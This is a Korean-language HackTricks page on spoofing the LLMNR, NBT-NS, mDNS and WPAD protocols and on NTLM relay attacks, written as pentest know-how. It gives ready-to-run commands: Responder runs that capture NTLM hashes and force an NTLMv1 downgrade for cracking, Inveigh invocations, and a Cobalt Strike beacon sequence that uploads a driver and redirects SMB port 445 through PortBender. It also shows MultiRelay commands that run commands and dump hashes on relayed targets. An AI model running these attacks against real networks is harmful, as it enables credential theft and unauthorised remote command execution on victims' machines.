Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

네트워크 프로토콜

로컬 호스트 해결 프로토콜

  • LLMNR, NBT-NS 및 mDNS:

  • Microsoft 및 기타 운영 체제는 DNS가 실패할 때 로컬 이름 해결을 위해 LLMNR 및 NBT-NS를 사용합니다. 마찬가지로 Apple 및 Linux 시스템은 mDNS를 사용합니다.

  • 이러한 프로토콜은 UDP를 통해 인증되지 않은 브로드캐스트 방식으로 통신하기 때문에 가로채기와 스푸핑에 취약합니다.

  • Responder를 사용하여 이러한 프로토콜을 쿼리하는 호스트에 위조된 응답을 보내 서비스를 위장할 수 있습니다.

  • Responder를 사용한 서비스 위장에 대한 자세한 정보는 여기에서 찾을 수 있습니다.

웹 프록시 자동 검색 프로토콜 (WPAD)

  • WPAD를 사용하면 브라우저가 프록시 설정을 자동으로 검색할 수 있습니다.

  • 검색은 DHCP, DNS 또는 DNS가 실패하는 경우 LLMNR 및 NBT-NS로 대체됩니다.

  • Responder를 사용하여 WPAD 공격을 자동화하여 클라이언트를 악성 WPAD 서버로 유도할 수 있습니다.

프로토콜 독점을 위한 Responder

  • Responder는 LLMNR, NBT-NS 및 mDNS 쿼리를 독점하기 위해 사용되는 도구로, 쿼리 유형에 따라 선택적으로 응답을 보내 SMB 서비스를 주로 대상으로 합니다.

  • Kali Linux에 미리 설치되어 있으며 /etc/responder/Responder.conf에서 구성할 수 있습니다.

  • Responder는 캡처된 해시를 화면에 표시하고 /usr/share/responder/logs 디렉토리에 저장합니다.

  • IPv4 및 IPv6를 모두 지원합니다.

  • Responder의 Windows 버전은 여기에서 사용할 수 있습니다.

Responder 실행

  • 기본 설정으로 Responder 실행: responder -I <인터페이스>

  • 더 공격적인 프로빙을 위한 실행 (부작용 가능): responder -I <인터페이스> -P -r -v

  • NTLMv1 도전/응답을 캡처하여 더 쉬운 크래킹을 위한 기술: responder -I <인터페이스> --lm --disable-ess

  • WPAD 위장을 활성화할 수 있습니다: responder -I <인터페이스> --wpad

  • NetBIOS 요청을 공격자의 IP로 해결하고 인증 프록시를 설정할 수 있습니다: responder.py -I <인터페이스> -Pv

Responder를 사용한 DHCP 독점

  • DHCP 응답을 위조하여 피해자의 라우팅 정보를 영구적으로 손상시킬 수 있으며, ARP 독점에 비해 은밀한 대안을 제공합니다.

  • 대상 네트워크의 구성에 대한 정확한 지식이 필요합니다.

  • 공격 실행: ./Responder.py -I eth0 -Pdv

  • 이 방법은 효과적으로 NTLMv1/2 해시를 캡처할 수 있지만, 네트워크 중단을 피하기 위해 주의가 필요합니다.

Responder를 사용한 자격 캡처

  • Responder는 위에서 언급한 프로토콜을 사용하여 서비스를 위장하고, 사용자가 위장된 서비스에 인증을 시도할 때 자격 증명(일반적으로 NTLMv2 도전/응답)을 캡처합니다.

  • 자격 증명 크래킹을 위해 NetNTLMv1로 다운그레이드하거나 ESS를 비활성화하는 시도를 할 수 있습니다.

이러한 기술을 사용할 때는 합법적이고 윤리적인 방식으로 진행해야 하며, 적절한 권한을 보장하고 네트워크 방해나 무단 접근을 피해야 합니다.

Inveigh

Inveigh는 Windows 시스템을 위해 설계된 펜테스트 및 레드팀 도구입니다. Responder와 유사한 스푸핑 및 중간자 공격 기능을 제공합니다. 이 도구는 PowerShell 스크립트에서 C# 이진 파일로 진화했으며, 주요 버전으로 InveighInveighZero가 있습니다. 자세한 매개변수 및 지침은 위키에서 찾을 수 있습니다.

Inveigh는 PowerShell을 통해 작동할 수 있습니다:

Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y

또는 C# 이진 파일로 실행될 수 있습니다:

Inveigh.exe

NTLM Relay Attack

이 공격은 SMB 인증 세션을 활용하여 대상 컴퓨터에 액세스하여 성공 시 시스템 쉘을 얻습니다. 주요 전제 조건은 다음과 같습니다:

  • 인증하는 사용자는 중계된 호스트에서 로컬 관리자 액세스를 가져야 합니다.

  • SMB 서명이 비활성화되어 있어야 합니다.

445 포트 포워딩 및 터널링

직접적인 네트워크 연결이 불가능한 경우, 445 포트의 트래픽을 포워딩하고 터널링해야 합니다. PortBender와 같은 도구를 사용하여 포트 445의 트래픽을 다른 포트로 리디렉션하는 것이 필요합니다. 이는 로컬 관리자 액세스가 드라이버 로딩에 사용 가능한 경우 필수적입니다.

Cobalt Strike에서 PortBender 설정 및 운영:

Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)

beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080

# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop

NTLM Relay 공격을 위한 다른 도구들

  • Metasploit: 프록시, 로컬 및 원격 호스트 세부 정보로 설정합니다.

  • smbrelayx: SMB 세션을 릴레이하고 명령을 실행하거나 백도어를 배포하기 위한 Python 스크립트입니다.

  • MultiRelay: 특정 사용자 또는 모든 사용자에 대한 릴레이, 명령 실행 또는 해시 덤프를 위한 Responder 스위트의 도구입니다.

각 도구는 필요한 경우 SOCKS 프록시를 통해 작동하도록 구성할 수 있으므로 간접적인 네트워크 액세스로도 공격이 가능합니다.

MultiRelay 작동

MultiRelay는 /usr/share/responder/tools 디렉토리에서 실행되며, 특정 IP 또는 사용자를 대상으로 합니다.

python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes

# Proxychains for routing traffic

이러한 도구와 기술은 다양한 네트워크 환경에서 NTLM Relay 공격을 수행하기 위한 포괄적인 세트를 형성합니다.

NTLM 로그인 강제

Windows에서는 특정 권한이 있는 계정을 임의의 기기에 인증하도록 강제할 수 있을 수도 있습니다. 다음 페이지를 읽어보고 이에 대해 자세히 알아보세요:

참고 자료

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

Last updated